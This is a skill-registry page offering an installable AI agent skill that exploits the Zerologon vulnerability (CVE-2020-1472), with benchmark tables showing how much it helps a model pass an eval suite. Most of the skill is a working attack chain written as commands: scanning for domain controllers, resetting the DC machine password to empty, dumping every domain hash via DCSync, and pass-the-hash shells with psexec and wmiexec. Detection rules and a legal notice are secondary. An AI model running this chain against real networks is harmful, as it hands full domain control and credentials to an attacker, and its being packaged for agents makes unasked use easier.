Install any skill in seconds. Free to start, no credit card required.
Get Started Free →Exploit the Zerologon vulnerability (CVE-2020-1472) in the Netlogon Remote Protocol to achieve domain controller compromise by resetting the machine account password to empty.
.claude/skills/exploiting-zerologon-vulnerability-cve-2020-1472/SKILL.md| Test case | Without → With | Effect | Δ tokens | Δ turns |
|---|---|---|---|---|
| case-17 | ✗→✓ | ▲ Improved | — | — |
| case-04 | ✗→✓ | ▲ Improved | — | — |
| case-12 | ✗→✓ | ▲ Improved | — | — |
| case-15 | ✗→✓ | ▲ Improved | — | — |
| case-06 | ✗→✓ | ▲ Improved | — | — |
Zerologon (CVE-2020-1472) is a critical elevation of privilege vulnerability (CVSS 10.0) in the Microsoft Netlogon Remote Protocol (MS-NRPC). The flaw exists in the cryptographic implementation of AES-CFB8 mode, where the initialization vector (IV) is incorrectly set to all zeros. This allows an unauthenticated attacker with network access to a domain controller to establish a Netlogon session and reset the DC machine account password to empty, achieving full domain compromise. Microsoft patched this vulnerability in August 2020 (KB4571694).
> Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
| Technique ID | Name | Tactic | |---|---|---| | T1068 | Exploitation for Privilege Escalation | Privilege Escalation | | T1210 | Exploitation of Remote Services | Lateral Movement | | T1003.006 | OS Credential Dumping: DCSync | Credential Access | | T1078.002 | Valid Accounts: Domain Accounts | Persistence |
The Netlogon authentication protocol uses AES-CFB8 encryption with a client challenge and server challenge. The vulnerability exists because:
bash# Scan for domain controllers nmap -p 135,139,389,445 -sV --script=ms-sql-info,smb-os-discovery 10.10.10.0/24 # Check if DC is vulnerable using zerologon checker python3 zerologon_tester.py DC01 10.10.10.1 # Using CrackMapExec crackmapexec smb 10.10.10.1 -M zerologon
bash# Using Impacket's CVE-2020-1472 exploit # This sets the DC machine account password to empty python3 cve_2020_1472.py DC01$ 10.10.10.1 # Expected output: # Performing authentication attempts... # ========================================= # NetrServerAuthenticate2 Result: 0 (success after ~256 attempts) # NetrServerPasswordSet2 call was successful # DC01$ machine account password set to empty string
bash# Use the empty hash to perform DCSync secretsdump.py -no-pass -just-dc corp.local/DC01\$@10.10.10.1 # Output includes all domain hashes: # Administrator:500:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4::: # krbtgt:502:aad3b435b51404eeaad3b435b51404ee:f3bc61e97fb14d18c42bcbf6c3a9055f::: # svc_sql:1103:aad3b435b51404eeaad3b435b51404ee:e4cba78b4c01d6e5c0e31ffff18e46ab::: # Alternatively, dump specific accounts secretsdump.py -no-pass corp.local/DC01\$@10.10.10.1 \ -just-dc-user Administrator
bash# Pass the Hash with Administrator NTLM psexec.py -hashes :32ed87bdb5fdc5e9cba88547376818d4 \ corp.local/Administrator@10.10.10.1 # Or use wmiexec for stealthier access wmiexec.py -hashes :32ed87bdb5fdc5e9cba88547376818d4 \ corp.local/Administrator@10.10.10.1
WARNING: After exploiting Zerologon, the DC machine account password is empty, which will break Active Directory replication and services. You MUST restore it.
bash# Method 1: Use the exploit's restore functionality python3 restorepassword.py corp.local/DC01@DC01 -target-ip 10.10.10.1 \ -hexpass <original_hex_password> # Method 2: Force machine account password change from DC # Connect to DC as Administrator and run: netdom resetpwd /server:DC01 /userd:CORP\Administrator /passwordd:* # Method 3: Restart the DC (it will auto-regenerate machine password) # This is the safest method but causes downtime
Event ID 4742: A computer account was changed
- Look for: DC$ account with password change
- Anomaly: Multiple 4742 events for DC$ in short period
Event ID 5805: Netlogon authentication failure
- Multiple failures followed by success = Zerologon attempt
Event ID 4624 (Type 3): Network logon
- DC$ account logging in from unexpected IPyaml# Suricata rule for Zerologon alert dcerpc any any -> any any ( msg:"ET EXPLOIT Possible Zerologon NetrServerReqChallenge"; flow:established,to_server; dce_opnum:4; content:"|00 00 00 00 00 00 00 00|"; sid:2030870; rev:1; )
yamltitle: Zerologon Exploitation Attempt status: stable logsource: product: windows service: system detection: selection: EventID: 5805 LogonType: 3 timeframe: 5m condition: selection | count(EventID) > 100 level: critical tags: - attack.privilege_escalation - attack.t1068 - cve.2020.1472
FullSecureChannelProtection = 1| Case | Status | Duration (ms) | Turns | Tokens | Tool calls | ||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Without | With | Δ | Without | With | Δ | Without | With | Δ | Without | With | Δ | ||
case-17 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-03 | pass→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-13 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-05 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-02 | pass→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-04 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-12 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-19 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-15 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-07 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-06 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-09 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-16 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-14 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-20 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-21 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-22 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-18 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-01 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-08 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-10 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-11 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
DecimalAI ran this skill against gemini-3.6-flash twice over the same eval suite — once with the skill loaded and once without — and compared the two runs case by case. 22 cases were attempted, and 20 counted toward the lift figure. The other 2 produced results that are not comparable between the two arms, so they are excluded from the headline rather than averaged into it. The headline lift of +32 percentage points is the difference between those two pass rates over the 20 comparable cases.
The per-case answers from this run were removed by the retention sweep, so the case table below shows the verdicts without the text either arm produced. The counts above were recorded at the time and are unaffected. Answers are now kept for 180 days.
Other measured skills in the registry, with their headline benchmark lift.